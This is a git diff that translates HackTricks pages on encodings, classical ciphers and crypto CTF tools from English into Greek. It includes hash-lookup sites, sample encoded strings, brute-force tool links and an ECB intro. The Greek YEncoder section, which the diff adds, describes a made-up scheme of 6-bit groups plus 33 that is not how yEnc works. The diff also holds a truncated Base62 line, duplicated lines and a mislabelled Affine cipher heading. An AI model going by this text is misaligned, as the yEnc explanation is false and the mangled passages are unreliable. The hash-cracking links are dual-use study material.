||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Online Hashes DBs
|
||||
## Βάσεις Δεδομένων Online Hashes
|
||||
|
||||
* _**Google it**_
|
||||
* _**Ψάξτε στο Google**_
|
||||
* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
||||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
|
||||
* [https://crackstation.net/](https://crackstation.net)
|
||||
|
@ -28,124 +28,95 @@ Other ways to support HackTricks:
|
|||
* [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
|
||||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
|
||||
|
||||
## Magic Autosolvers
|
||||
## Μαγικοί Αυτόματοι Λύτες
|
||||
|
||||
* [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Μαγική ενότητα)
|
||||
* [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
* [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
||||
|
||||
## Encoders
|
||||
## Κωδικοποιητές
|
||||
|
||||
Most of encoded data can be decoded with these 2 ressources:
|
||||
Τα περισσότερα κωδικοποιημένα δεδομένα μπορούν να αποκωδικοποιηθούν με αυτούς τους 2 πόρους:
|
||||
|
||||
* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### Substitution Autosolvers
|
||||
### Αυτόματοι Λύτες Αντικατάστασης
|
||||
|
||||
* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
||||
* [https://quipqiup.com/](https://quipqiup.com) - Very good !
|
||||
* [https://quipqiup.com/](https://quipqiup.com) - Πολύ καλό !
|
||||
|
||||
#### Caesar - ROTx Autosolvers
|
||||
#### Caesar - ROTx Αυτόματοι Λύτες
|
||||
|
||||
* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
|
||||
|
||||
#### Atbash Cipher
|
||||
#### Κρυπτογράφημα Atbash
|
||||
|
||||
* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
|
||||
|
||||
### Base Encodings Autosolver
|
||||
### Αυτόματοι Λύτες Βάσεων Κωδικοποίησης
|
||||
|
||||
Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
Ελέγξτε όλες αυτές τις βάσεις με: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
|
||||
* **Ascii85**
|
||||
* `BQ%]q@psCd@rH0l`
|
||||
* `BQ%]q@psCd@rH0l`
|
||||
* **Base26** \[_A-Z_]
|
||||
* `BQEKGAHRJKHQMVZGKUXNT`
|
||||
* `BQEKGAHRJKHQMVZGKUXNT`
|
||||
* **Base32** \[_A-Z2-7=_]
|
||||
* `NBXWYYLDMFZGCY3PNRQQ====`
|
||||
* `NBXWYYLDMFZGCY3PNRQQ====`
|
||||
* **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
|
||||
* `pbzsaamdcf3gna5xptoo====`
|
||||
* `pbzsaamdcf3gna5xptoo====`
|
||||
* **Base32 Geohash** \[_0-9b-hjkmnp-z_]
|
||||
* `e1rqssc3d5t62svgejhh====`
|
||||
* `e1rqssc3d5t62svgejhh====`
|
||||
* **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
|
||||
* `D1QPRRB3C5S62RVFDHGG====`
|
||||
* `D1QPRRB3C5S62RVFDHGG====`
|
||||
* **Base32 Extended Hexadecimal** \[_0-9A-V_]
|
||||
* `D1NMOOB3C5P62ORFDHGG====`
|
||||
* `D1NMOOB3C5P62ORFDHGG====`
|
||||
* **Base45** \[_0-9A-Z $%\*+-./:_]
|
||||
* `59DPVDGPCVKEUPCPVD`
|
||||
* `59DPVDGPCVKEUPCPVD`
|
||||
* **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
|
||||
* `2yJiRg5BF9gmsU6AC`
|
||||
* `2yJiRg5BF9gmsU6AC`
|
||||
* **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
|
||||
* `2YiHqF5bf9FLSt6ac`
|
||||
* `2YiHqF5bf9FLSt6ac`
|
||||
* **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
|
||||
* `pyJ5RgnBE9gm17awU`
|
||||
* **Base62** \[_0-9A-Za-z_]
|
||||
* `g2AextRZpBKRBzQ9`
|
||||
* **Base64** \[_A-Za-z0-9+/=_]
|
||||
* `aG9sYWNhcmFjb2xh`
|
||||
* **Base67** \[_A-Za-z0-9-_.!\~\_]
|
||||
* `NI9JKX0cSUdqhr!p`
|
||||
* **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* `BQ%]q@psCd@rH0l`
|
||||
* **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* `<~BQ%]q@psCd@rH0l~>`
|
||||
* **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
|
||||
* `Xm4y`V\_|Y(V{dF>\`
|
||||
* **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
* `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
|
||||
* **Base85 (XML)** \[_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\__]
|
||||
* `Xm4y|V{~Y+V}dF?`
|
||||
* **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
|
||||
* `frDg[*jNN!7&BQM`
|
||||
* **Base100** \[]
|
||||
* `👟👦👣👘👚👘👩👘👚👦👣👘`
|
||||
* **Base122** \[]
|
||||
* `4F ˂r0Xmvc`
|
||||
* **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
|
||||
* `MIc3KiXa+Ihz+lrXMIc3KbCC`
|
||||
* **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
|
||||
* `DmPsv8J7qrlKEoY7`
|
||||
* `pyJ5RgnBE9gm17awU`
|
||||
* **Base62** \[_0-
|
||||
* `DmPsv8J7qrlKEoY7`
|
||||
* **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
|
||||
* `kLD8iwKsigSalLJ5`
|
||||
* `kLD8iwKsigSalLJ5`
|
||||
* **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
|
||||
* `ayRiIo1gpO+uUc7g`
|
||||
* `ayRiIo1gpO+uUc7g`
|
||||
* **ESAB46** \[]
|
||||
* `3sHcL2NR8WrT7mhR`
|
||||
* `3sHcL2NR8WrT7mhR`
|
||||
* **MEGAN45** \[]
|
||||
* `kLD8igSXm2KZlwrX`
|
||||
* `kLD8igSXm2KZlwrX`
|
||||
* **TIGO3FX** \[]
|
||||
* `7AP9mIzdmltYmIP9mWXX`
|
||||
* `7AP9mIzdmltYmIP9mWXX`
|
||||
* **TRIPO5** \[]
|
||||
* `UE9vSbnBW6psVzxB`
|
||||
* `UE9vSbnBW6psVzxB`
|
||||
* **FERON74** \[]
|
||||
* `PbGkNudxCzaKBm0x`
|
||||
* `PbGkNudxCzaKBm0x`
|
||||
* **GILA7** \[]
|
||||
* `D+nkv8C1qIKMErY1`
|
||||
* `D+nkv8C1qIKMErY1`
|
||||
* **Citrix CTX1** \[]
|
||||
* `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
|
||||
* `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
|
||||
|
||||
[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||
|
||||
### HackerizeXS \[_╫Λ↻├☰┏_]
|
||||
|
||||
```
|
||||
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
|
||||
```
|
||||
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||
|
||||
### Morse
|
||||
|
||||
### Μωρς
|
||||
```
|
||||
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
|
||||
```
|
||||
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Νεκρός: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### UUencoder
|
||||
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
|
||||
|
@ -154,129 +125,131 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
|
|||
`
|
||||
end
|
||||
```
|
||||
|
||||
* [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
|
||||
|
||||
### XXEncoder
|
||||
|
||||
### Κωδικοποιητής XX
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
|
||||
5Hol-G2xAEE++
|
||||
end
|
||||
```
|
||||
|
||||
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||
|
||||
### YEncoder
|
||||
|
||||
Ο YEncoder είναι ένας αλγόριθμος κωδικοποίησης που χρησιμοποιείται για τη μετατροπή δεδομένων σε μορφή ASCII. Αυτός ο αλγόριθμος είναι συνήθως χρήσιμος σε περιπτώσεις όπου οι μηχανές αναζήτησης ή άλλα εργαλεία δεν μπορούν να αναγνωρίσουν ή να επεξεργαστούν ορισμένους τύπους δεδομένων. Ο YEncoder μετατρέπει τα δεδομένα σε μια μορφή που μπορεί να αναγνωριστεί από αυτά τα εργαλεία.
|
||||
|
||||
Για να κωδικοποιήσετε δεδομένα χρησιμοποιώντας τον YEncoder, ακολουθήστε τα παρακάτω βήματα:
|
||||
|
||||
1. Χωρίστε τα δεδομένα σε γκρουπ των 3 bytes.
|
||||
2. Μετατρέψτε κάθε γκρουπ 3 bytes σε έναν ακέραιο αριθμό.
|
||||
3. Μετατρέψτε τον ακέραιο αριθμό σε μια δυαδική ακολουθία 24 bits.
|
||||
4. Χωρίστε τη δυαδική ακολουθία 24 bits σε 4 γκρουπ των 6 bits.
|
||||
5. Προσθέστε τον αριθμό 33 σε κάθε γκρουπ 6 bits.
|
||||
6. Μετατρέψτε τον αριθμό σε έναν χαρακτήρα ASCII χρησιμοποιώντας τον πίνακα μετατροπής.
|
||||
|
||||
Για να αποκωδικοποιήσετε δεδομένα που έχουν κωδικοποιηθεί με τον YEncoder, ακολουθήστε τα παρακάτω βήματα:
|
||||
|
||||
1. Μετατρέψτε τον χαρακτήρα ASCII σε έναν αριθμό χρησιμοποιώντας τον πίνακα μετατροπής.
|
||||
2. Αφαιρέστε τον αριθμό 33 από τον αριθμό.
|
||||
3. Μετατρέψτε τον αριθμό σε μια δυαδική ακολουθία 6 bits.
|
||||
4. Συνδυάστε τις δυαδικές ακολουθίες 6 bits για να δημιουργήσετε μια δυαδική ακολουθία 24 bits.
|
||||
5. Μετατρέψτε τη δυαδική ακολουθία 24 bits σε έναν ακέραιο αριθμό.
|
||||
6. Μετατρέψτε τον ακέραιο αριθμό σε τρία bytes δεδομένων.
|
||||
|
||||
Ο YEncoder είναι ένα χρήσιμο εργαλείο για την κωδικοποίηση και αποκωδικοποίηση δεδομένων σε μορφή ASCII. Μπορεί να χρησιμοποιηθεί σε πολλά σενάρια, όπως στην ανάλυση και επεξεργασία δεδομένων που δεν αναγνωρίζονται από μηχανές αναζήτησης ή άλλα εργαλεία.
|
||||
```
|
||||
=ybegin line=128 size=28 name=webutils_pl
|
||||
ryvkryvkryvkryvkryvkryvkryvk
|
||||
=yend size=28 crc32=35834c86
|
||||
```
|
||||
|
||||
* [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
|
||||
|
||||
### BinHex
|
||||
|
||||
```
|
||||
(This file must be converted with BinHex 4.0)
|
||||
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
|
||||
-38K26%'d9J!!:
|
||||
```
|
||||
|
||||
* [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
|
||||
|
||||
### ASCII85
|
||||
|
||||
ASCII85 είναι μια μέθοδος κωδικοποίησης που χρησιμοποιείται για τη μετατροπή δεδομένων σε αναπαράσταση ASCII. Αυτή η μέθοδος κωδικοποίησης είναι παρόμοια με την Base64, αλλά παρέχει μεγαλύτερη απόδοση σε χώρο. Χρησιμοποιείται συχνά σε διάφορα πρωτόκολλα και μορφές αρχείων για την αποστολή και αποθήκευση δεδομένων.
|
||||
```
|
||||
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
|
||||
```
|
||||
|
||||
* [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
|
||||
|
||||
### Dvorak keyboard
|
||||
|
||||
### Πληκτρολόγιο Dvorak
|
||||
```
|
||||
drnajapajrna
|
||||
```
|
||||
|
||||
* [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard)
|
||||
* [https://www.geocachingtoolbox.com/index.php?lang=el\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=el\&page=dvorakKeyboard)
|
||||
|
||||
### A1Z26
|
||||
|
||||
Letters to their numerical value
|
||||
|
||||
Γράμματα στην αριθμητική τους τιμή
|
||||
```
|
||||
8 15 12 1 3 1 18 1 3 15 12 1
|
||||
```
|
||||
### Κρυπτογράφηση με Ανακλαστικό Κρυπτοσύστημα
|
||||
|
||||
### Affine Cipher Encode
|
||||
|
||||
Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter
|
||||
|
||||
Μετατροπή γράμματος σε αριθμό `(ax+b)%26` (_a_ και _b_ είναι οι κλειδιοί και _x_ είναι το γράμμα) και επιστροφή του αποτελέσματος πίσω σε γράμμα
|
||||
```
|
||||
krodfdudfrod
|
||||
```
|
||||
### Κωδικός SMS
|
||||
|
||||
### SMS Code
|
||||
Ο **Multitap** [αντικαθιστά ένα γράμμα](https://www.dcode.fr/word-letter-change) με επαναλαμβανόμενα ψηφία που καθορίζονται από τον αντίστοιχο κωδικό πλήκτρου σε ένα κινητό [τηλεφωνικό πληκτρολόγιο](https://www.dcode.fr/phone-keypad-cipher) (Αυτή η λειτουργία χρησιμοποιείται κατά τη σύνταξη SMS).\
|
||||
Για παράδειγμα: 2=A, 22=B, 222=C, 3=D...\
|
||||
Μπορείτε να αναγνωρίσετε αυτόν τον κωδικό επειδή θα δείτε **πολλούς επαναλαμβανόμενους αριθμούς**.
|
||||
|
||||
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\
|
||||
For example: 2=A, 22=B, 222=C, 3=D...\
|
||||
You can identify this code because you will see\*\* several numbers repeated\*\*.
|
||||
Μπορείτε να αποκωδικοποιήσετε αυτόν τον κωδικό στο: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
### Bacon Code
|
||||
|
||||
Substitude each letter for 4 As or Bs (or 1s and 0s)
|
||||
### Κωδικός Bacon
|
||||
|
||||
Αντικαθιστάτε κάθε γράμμα με 4 Α ή Β (ή 1 και 0)
|
||||
```
|
||||
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
|
||||
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||
```
|
||||
|
||||
### Runes
|
||||
### Ρούνες
|
||||
|
||||
![](../.gitbook/assets/runes.jpg)
|
||||
|
||||
## Compression
|
||||
## Συμπίεση
|
||||
|
||||
**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers.
|
||||
Ο **Raw Deflate** και ο **Raw Inflate** (μπορείτε να τα βρείτε και τα δύο στο Cyberchef) μπορούν να συμπιέσουν και να αποσυμπιέσουν δεδομένα χωρίς κεφαλίδες.
|
||||
|
||||
## Easy Crypto
|
||||
## Εύκολη Κρυπτογραφία
|
||||
|
||||
### XOR - Autosolver
|
||||
### XOR - Αυτόματη Λύση
|
||||
|
||||
* [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
|
||||
|
||||
### Bifid
|
||||
|
||||
A keywork is needed
|
||||
|
||||
Χρειάζεται μια λέξη-κλειδί
|
||||
```
|
||||
fgaargaamnlunesuneoa
|
||||
```
|
||||
|
||||
### Vigenere
|
||||
|
||||
A keywork is needed
|
||||
|
||||
Απαιτείται μια λέξη-κλειδί
|
||||
```
|
||||
wodsyoidrods
|
||||
```
|
||||
|
||||
* [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
|
||||
* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
|
||||
* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
|
||||
|
||||
## Strong Crypto
|
||||
## Ισχυρή Κρυπτογραφία
|
||||
|
||||
### Fernet
|
||||
|
||||
2 base64 strings (token and key)
|
||||
|
||||
2 συμβολοσειρές base64 (token και κλειδί)
|
||||
```
|
||||
Token:
|
||||
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
|
||||
|
@ -284,27 +257,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC
|
|||
Key:
|
||||
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
|
||||
```
|
||||
|
||||
* [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
|
||||
|
||||
### Samir Secret Sharing
|
||||
|
||||
A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
|
||||
### Κοινή χρήση μυστικού του Σαμίρ
|
||||
|
||||
Ένα μυστικό χωρίζεται σε X μέρη και για να το ανακτήσετε χρειάζεστε Y μέρη (_Y <=X_).
|
||||
```
|
||||
8019f8fa5879aa3e07858d08308dc1a8b45
|
||||
80223035713295bddf0b0bd1b10a5340b89
|
||||
803bc8cf294b3f83d88e86d9818792e80cd
|
||||
```
|
||||
|
||||
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
|
||||
|
||||
### OpenSSL brute-force
|
||||
### Βίαιη επίθεση OpenSSL
|
||||
|
||||
* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
|
||||
* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF)
|
||||
|
||||
## Tools
|
||||
## Εργαλεία
|
||||
|
||||
* [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
|
||||
* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
|
||||
|
@ -312,14 +282,14 @@ A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,50 +1,46 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# ECB
|
||||
|
||||
(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key.
|
||||
(ECB) Ηλεκτρονικό Βιβλίο Κωδικοποίησης - συμμετρικό σχήμα κρυπτογράφησης που **αντικαθιστά κάθε μπλοκ του καθαρού κειμένου** με το **μπλοκ του κρυπτοκειμένου**. Είναι το **απλούστερο** σχήμα κρυπτογράφησης. Η κύρια ιδέα είναι να **διαιρέσετε** το καθαρό κείμενο σε **μπλοκ των N bits** (εξαρτάται από το μέγεθος του μπλοκ των εισροών δεδομένων, αλγόριθμο κρυπτογράφησης) και στη συνέχεια να κρυπτογραφήσετε (αποκρυπτογραφήσετε) κάθε μπλοκ του καθαρού κειμένου χρησιμοποιώντας μόνο το κλειδί.
|
||||
|
||||
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
|
||||
